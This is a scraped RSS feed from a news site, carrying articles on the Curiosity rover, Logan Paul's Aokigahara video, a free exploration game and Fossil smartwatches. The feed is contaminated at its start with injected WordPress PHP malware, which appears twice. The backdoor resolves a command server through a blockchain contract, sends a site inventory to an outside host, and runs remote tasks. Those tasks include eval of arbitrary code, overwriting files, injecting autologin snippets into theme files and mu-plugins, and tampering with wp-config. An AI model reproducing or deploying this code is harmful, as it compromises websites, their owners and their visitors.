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$r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); 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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); 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]]> https://briefnews.eu/mars-curiosity-rover-detects-ingredients-for-life/feed/ 0 Space Photos of the Week: The Curiosity Rover Snaps a Selfie on Mars https://briefnews.eu/space-photos-of-the-week-the-curiosity-rover-snaps-a-selfie-on-mars/ https://briefnews.eu/space-photos-of-the-week-the-curiosity-rover-snaps-a-selfie-on-mars/#respond Sat, 03 Feb 2018 17:03:03 +0000 http://briefnews.eu/space-photos-of-the-week-the-curiosity-rover-snaps-a-selfie-on-mars/ The Mars rover is driving along the Vera Rubin ridge, a slope rich in clay minerals that require water to form.


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]]> https://briefnews.eu/space-photos-of-the-week-the-curiosity-rover-snaps-a-selfie-on-mars/feed/ 0 Morbid Curiosity https://briefnews.eu/morbid-curiosity/ https://briefnews.eu/morbid-curiosity/#respond Thu, 04 Jan 2018 08:47:59 +0000 http://briefnews.eu/morbid-curiosity/

On Dec. 31, 22-year-old YouTube vlogging sensation Logan Paul rang in the new year by posting a 15-minute video from his trek into Japan’s Aokigahara forest (also known as Jukai, or “Sea of Trees.”) In the video, Paul and friends took the opportunity to have a few laughs at the expense of a suicide victim.

Bodies are not a rare sight in Aokigahara, colloquially known as “the suicide forest.” In 2010, police reported that over 200 people attempted suicide within the dense web of Aokigahara’s greenery (popularized as a site for suicide in Seichō Matsumoto’s 1960 novel Tower of Waves, and later described in Wataru Tsurumi’s 1993 Complete Manual of Suicide as the “perfect place to die”), with 54 completing the act. A cursory search of the forest on Google shows the morbidly curious hundreds of photos of people who killed themselves there — most commonly by hanging or overdose — along with photos of discarded belongings, tokens left by grieving loved ones, and vacant nooses, their ropes tatty and rotting.

An immense sadness permeates the woods, whose trees are often marked with colored tape or string to help guide those who decide to depart the forest without harming themselves. Still, its macabre reputation has turned the forest into something of a tourist attraction, the sort of location that’s included with San Jose’s Winchester Mystery House or Mexico’s Isla de las Muñecas on sensationalist lists of the “creepiest” or “most haunted” places in the world. In short, Aokigahara contains, within its legacy, the perfect raw materials for spectacular exploitation of the most opportunistic, vampiric variety. For those wandering the world like beachgoers with metal detectors, looking for thrills irrespective of empathy, the Sea of Trees is a veritable, miserable treasure trove.

Paul was roundly criticized for his stunt, almost immediately after the video of his hike was posted. He quickly released a written apology on Jan. 1, where he explained that the purpose of the video was meant to raise awareness about suicide, not simply to accrue views for his channel. When people remained unconvinced by Paul’s show of “contrition,” the vlogger released a second apology, this time in the form of a video posted to his YouTube channel the next day. Explaining that the discovery of the body in Aokigahara was “obviously unplanned” (despite the fact that the inclusion of the corpse in the final, edited video was clearly a deliberate decision), a teary-eyed Paul assures viewers that he doesn’t expect to be forgiven.

Still, Paul is perhaps the least interesting component of this entire debacle. Instead, cultural critics have asked bigger questions. What does this incident tell us about how we view suicide? What does the fact that Paul’s video was skyrocketed to YouTube’s front page while queer creators often have their content hidden due to “inappropriate material” tell us about YouTube’s failure to self-police?

Less prominent in the discourse surrounding Paul’s stunt is an examination of what it means that Paul did what he did in Aokigahara, or to watch white feet tread on sacred ground to mock the remains of a Japanese man. It is not insignificant that the body wasn’t white.

In order to explore this question, it’s helpful to understand Aokigahara in the Western imagination and what tourism of the forest — in reality, in language, and in media — represents.

Within the last three years, two disparate US movies have used Aokigahara as their setting: Gus Van Sant’s The Sea of Trees (2015) and Jason Zada’s The Forest (2016). Despite being vastly different (the former is a weepy drama, the latter a generic horror film), the two films share a remarkable amount of DNA, especially in their use of the Sea of Trees. In Van Sant’s film, an American (played by Matthew McConaughey) ventures to Aokigahara to kill himself, encountering a Japanese man (played by Ken Watanabe) who hopes to do the same. In Zada’s, an American (played by Natalie Dormer) ventures to Aokigahara to try to find her twin sister, who she believes is alive but lost in the forest.

The use of white, Western protagonists in both stories is telling, turning the forest (and the tragedies with which it is associated) into a foreign entity, an Other that is necessarily apart from the experiences of McConaughey and Dormer. In Sea of Trees, Van Sant underscores this, perhaps unintentionally, by revealing Watanabe’s character to be a figment of the forest, a sort of spirit manifested to help McConaughey see the value of life. Rather than allow the audience to empathize with the pain of a major nonwhite character, the film reduces Watanabe into a mystical Orientalized specter, literally denying Watanabe humanity.

The Forest, meanwhile, heightens the superstitions surrounding Aokigahara, turning the woods into an exotic haunted house, morphing the realities of mental illness and suicide into a Blair Witch surrogate. From the beginning of the picture, Japan is portrayed as alien and sinister, with strange foods, odd belief systems, and off-putting locals, one of whom goes so far as to fling himself at the window of Dormer’s taxi, simply for the chance to scare her. Aokigahara is a place from which Dormer must rescue her fellow white person, not because the forest represents the struggles of depression or anxiety, but because it represents a sort of non-Western madness, a malevolent web of superstition and evil long since extinguished in the American mind. When Dormer tries to tell whether a body she finds is that of her sister, she gazes on a corpse that is twisted, soggy, and rotted, as though it had just come from the set of Pirates of the Caribbean. The personhood of the victim is reduced to something grotesque: tragedy repackaged as monstrosity.

From these examples alone, it might be easy to say that these issues of representation are a result not of anything racial, but simply of the broadly problematic way in which suicide is discussed in the US. And it’s certainly true that the stigma surrounding suicide is worthy of major discussion. The fact that prominent figures like Gene Simmons or Henry Rollins feel comfortable labeling those who opt to end their own lives as cowards or quitters is testament enough to that. However, to link the way in which suicide and mental illness in nonwhite cultures is trivialized to the stigma around mental illness generally while ignoring the racialized implications of the discussion as a whole is, at the very best, irresponsible.

In terms of total number of suicides, Aokigahara actually ranks behind the Golden Gate Bridge as a site for suicides. There have been 1,500 deaths in 80 years at the bridge, dwarfing the estimated 500 deaths since the 1950s in Aokigahara. Still, if you were to approach most Americans and ask if they had heard of “the suicide bridge,” you would probably receive several puzzled looks. And it’s rare to hear of tourists visiting the Golden Gate Bridge because of its reputation as a location where hundreds have taken their own lives.

Despite this, Aokigahara retains its title and its reputation in the Western imagination: not necessarily of tragedy, but of allure. When discussing the forest, many still feel comfortable referring to the many who — burdened by depression, loss, and unbearable agony — have walked in and never walked out, as though they were a bit of trivia, as though their deaths mean nothing in and of themselves, but rather exist to add touristic spice to the base of Mount Fuji.

In fact, Aokigahara’s designation as the suicide forest is, historically, not a Japanese one. Its reputation as a fun place to visit if you want some creepy stories or unorthodox video opportunities is, certainly, not a local idea. The woods are full of signs urging those considering suicide to change their minds — assuring them that they are loved and that they have much to aspire to. Local lore also suggests that those who enter might fall prey to the yurei (an often malevolent ghost-like spirit) of others who have died there (legends that are partially based on rumors that the forest was once used for the practice of ubasute, a custom in which families would leave elderly or infirm relatives to die of starvation or exposure, as a sort of euthanasia).

The Sea of Trees is neither a thrill nor curiosity to those know it best. It is only in the eyes of tourists that the loss contained within the forest can be taken lightly, treated as some obligatory Orientalist flavor, like the suicide of a disgraced samurai, duty-bound to take his own life. The ugly dispassion that allows Aokigahara to become an attraction for Western visitors, that allows a white man to stride confidently into the forest and film what he finds there, speaks to something much larger, of which the forest is simply one example, and Logan Paul is merely one agent.

Inherent to the discussion of what Logan Paul did by turning the body of a nonwhite suicide victim into a prop and a spectacle to boost his profile is the plain truth that, despite the growing cultural awareness of the struggles of people with mental illness, the little compassion afforded them is often denied to people of color. Whereas we might publicly sympathize with famous white men who have depression or abuse drugs and alcohol, Azealia Banks, who has talked publicly about her mental health issues remains an object of mockery in the white cultural imagination. And the body that Logan Paul broadcast to millions will remain a nameless and faceless representative of an epidemic that many only ever partially care about. The white imagination often either spectacularizes or erases mental illness among people of color, robbing the sufferer of a voice, or relegating them to a site of monstrousness.

Narratives of mental illness or addiction and the tragedies and redemptions that can grow from them are still dominated by white faces and white voices, voyeuristically treating non-Western suicide as a cultural quirk to be exploited or flattened. Japan has the second highest suicide rate of any developed nation (roughly 70 per day in 2015). Linking many of these suicides to social shame, financial stress, and isolation, experts have worked tirelessly to provide depth to the narrative of suicide in Japan, along with its unique cultural underpinnings. Still, Japan is only afforded two ideas of this struggle in the Western imagination: the honor-bound warrior disemboweling himself, or the lone businessman wandering into the woods to die. Both are suffocating, and dehumanizing, powered by the gelid brutality of exotification. Both privilege spectacle over compassion and demonstrate a failure of empathy.

It’s impossible to effectively discuss Logan Paul and Aokigahara without talking about the racialized exploitation and erasure of mental illness and suicide. To attempt to do so is to participate in that horrid video’s abject work.●

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]]> https://briefnews.eu/morbid-curiosity/feed/ 0 Storyseeker Is About Finding Narrative Through Player Curiosity https://briefnews.eu/storyseeker-is-about-finding-narrative-through-player-curiosity/ https://briefnews.eu/storyseeker-is-about-finding-narrative-through-player-curiosity/#respond Tue, 26 Dec 2017 14:03:31 +0000 http://briefnews.eu/storyseeker-is-about-finding-narrative-through-player-curiosity/ NaXB+G.png

Storyseeker sends players out into a wide, ever-changing world filled with stories for the curious to discover, letting them follow up on whatever tale they wish to learn more about. Through this free exploration, they can learn more about the vibrant world around them and the people (or weasels, or ghosts, or giants) within it

Storyseeker lets the player freely roam through its lands, giving them many different people, animals, and creatures to talk to. Each offers a little bit of information on their lives or the state of the world, and through gathering as many stories as they can, players can get an idea on the larger picture of this place and the people who live in it. While doing so, they’ll also explore some wild, colorful landscapes and head out into the pretty waters surrounding it, giving players some soothing places to meander (a nice thing for when it’s a cold winter’s day in the real world).

Storyseeker is a calming, intriguing walk, one best gone on without knowing what you’ll find. So, since it’s free, hop to it!

Storyseeker is available for free on Itch.io. For more information on the game and developer Miles Aijala, you can head to the game’s site or follow them on Tumblr, YouTube, and Twitter.

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]]> https://briefnews.eu/storyseeker-is-about-finding-narrative-through-player-curiosity/feed/ 0 Revisiting Fossil hybrid smartwatches: From curiosity to practicality https://briefnews.eu/revisiting-fossil-hybrid-smartwatches-from-curiosity-to-practicality/ https://briefnews.eu/revisiting-fossil-hybrid-smartwatches-from-curiosity-to-practicality/#respond Wed, 20 Dec 2017 16:05:27 +0000 http://briefnews.eu/revisiting-fossil-hybrid-smartwatches-from-curiosity-to-practicality/

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Fossil has come a long way since the debut of its first hybrid smartwatches in 2015. What was once a small endeavor with just a handful of devices has grown to take over most of the brands under Fossil Group. Michael Kors, Diesel, Kate Spade, Emporio Armani, Skagen, and others all have hybrid smartwatches under their accessory umbrellas that speak to each brand’s style.

It’s not just the numbers and designs of these smartwatches that have evolved over the past couple of years. Fossil’s Q platform has also changed to serve the needs of its users. The Q app used to be fairly limited, with a few customizable alerts and basic activity information. Now, there’s more that hybrid smartwatch users can do with Q, and many of the new additions make the hybrid smartwatches much smarter than they appear on the outside.

Design overview

From the beginning, Fossil was in a good position to explore wearable technology. As a fashion company, it already had blueprints for different watch styles. Those could (and would eventually) be adapted into hybrid and full-on smartwatches. The new Fossil watch I tested is the Q Commuter, a unisex model with a 42mm silver case and a 22mm dark brown leather band. Like the rest of the company’s hybrid smartwatches, the Q Commuter has a built-in accelerometer for activity tracking and a separate subeye that shows activity goal progress throughout the day. Its three physical side buttons can be programmed to do various functions, and the built-in vibration motor lets the device buzz when you’re receiving an alert (it doesn’t make any sounds). It runs on a regular watch battery that can be replaced, but it will last about six months before you have to replace it.

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]]> https://briefnews.eu/revisiting-fossil-hybrid-smartwatches-from-curiosity-to-practicality/feed/ 0 The 6 strangest things the Curiosity rover beamed back from Mars (PHOTOS/VIDEOS) https://briefnews.eu/the-6-strangest-things-the-curiosity-rover-beamed-back-from-mars-photosvideos/ https://briefnews.eu/the-6-strangest-things-the-curiosity-rover-beamed-back-from-mars-photosvideos/#respond Sat, 05 Aug 2017 09:08:06 +0000 http://briefnews.eu/the-6-strangest-things-the-curiosity-rover-beamed-back-from-mars-photosvideos/

It’s five years to the day since NASA’s Curiosity Mars rover touched down on the surface of Mars – a staggering 248 million kilometers (154 million miles) from Earth.

Curiosity has many a space nerd hooked to its updates, providing huge quantities of images and data to trawl through, and inspiring endless speculation over the Red Planet’s features (and inhabitants).

To mark Curiosity’s five years roaming our nearest planetary neighbor, RT.com takes a look back at some of the strangest images it beamed back to Earth.

1. Dust devils

